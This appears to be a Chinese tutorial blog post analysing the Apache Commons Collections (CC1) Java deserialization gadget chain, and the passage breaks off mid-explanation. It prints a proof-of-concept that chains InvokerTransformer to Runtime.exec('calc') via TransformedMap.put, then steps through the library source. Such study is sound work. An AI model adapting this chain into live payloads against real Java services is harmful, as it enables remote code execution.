0x01前言
之前简单学习了JAVA反序列化和URLDNS这条利用链,讲过的基础就不再赘述了,今天来学习CommonCollections这条利用链。
0x02分析
由于这条链相对于URLDNS比较复杂,为了更容易理解,所以首先采用P牛精简后的一段DEMO来理解这条利用链:
DEMO1
1package Commoncollections1;
2import org.apache.commons.collections.Transformer;
3import org.apache.commons.collections.functors.ChainedTransformer;
4import org.apache.commons.collections.functors.ConstantTransformer;
5import org.apache.commons.collections.functors.InvokerTransformer;
6import org.apache.commons.collections.map.TransformedMap;
7
8import java.lang.annotation.Retention;
9import java.lang.reflect.Constructor;
10import java.util.HashMap;
11import java.util.Map;
12
13class CommonCollections1 {
14 void main(String[] args) throws Exception {
15 Transformer[] transformers = new Transformer[]{
16 new ConstantTransformer(Runtime.getRuntime()),
17 new InvokerTransformer("exec", new Class[]{String.class},
18 new Object[]
19 {"calc"}),
20 };
21 Transformer transformerChain = new
22 ChainedTransformer(transformers);
23 Map innerMap = new HashMap();
24 Map outerMap = TransformedMap.decorate(innerMap, null,
25 transformerChain);
26 outerMap.put("test", "xxxx");
27 }
28}
在windows环境中,运行以上代码会发现打开了计算器。如果是其他系统需要将calc换成想要执行的程序路径。
简单看看代码,通过参数来看,发现最后一句代码好像没什么用似的,删掉试试。
结果发现不能打开计算器了,这说明,最终触发执行代码的代码是最后一条。
TransformedMap类
outerMap对象是TransformedMap.decorate返回的,所以要先研究一下这个类是干嘛用的,首先看一下这个类的继承图:
图1
通过类名可以看出,这是一个Map的装饰类,对应设计模式的装饰器模式。目的是为了向一个现有的对象添加新的功能,同时又不改变其结构。这个类中对原始类的某些接口的功能进行了扩展。
跟进这个TransformedMap类看看实现:
1 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
2 return new TransformedMap(map, keyTransformer, valueTransformer);
3 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
4 super(map);
5 this.keyTransformer = keyTransformer;
6 this.valueTransformer = valueTransformer;
7 }
可以看到,decorate中new了一个自身对象并返回,也就是调用了自己的构造函数,而构造函数调用了父类的构造函数,然后将两个Transformer类型的参数保存到了成员变量中。
继续看看这个类的put方法,为什么会执行代码:
1 public Object put(Object key, Object value) {
2 key = this.transformKey(key);
3 value = this.transformValue(value);
4 return this.getMap().put(key, value);
5 }
6 protected Object transformKey(Object object) {
7 return this.keyTransformer == null?object:this.keyTransformer.transform(object);
8 }
9
10 protected Object transformValue(Object object) {
11 return this.valueTransformer == null?object:this.valueTransformer.transform(object);
12 }
可以看出,put方法首先调用了自己的transformKey方法和transformValue方法,然后调用了map的put方法。而transformKey和transformValue都是调用了我们开始传参进去的Transformer对象的transform方法。
ChainedTransformer类
仔细观察会发现,构造TransformedMap对象的时候,我们传参的Transformer类对象是一个transformerChain对象。
1Transformer transformerChain = new
2 ChainedTransformer(transformers);
3 Map innerMap = new HashMap();
4 Map outerMap = TransformedMap.decorate(innerMap, null,
5 transformerChain);
首先看一下继承图:
图2
可以看出transformerChain类是Transformer的子类,根据构造这个类的代码可以看出,这个类构造参数是一个Transformer数组,看一下实现代码:
1 public ChainedTransformer(Transformer[] transformers) {
2 this.iTransformers = transformers;
3 }
4
5 public Object transform(Object object) {
6 for(int i = 0; i < this.iTransformers.length; ++i) {
7 object = this.iTransformers[i].transform(object);
8 }
可以看到,构造函数直接将传入的参数保存在iTransformers成员变量中。而transform方法的实现则是循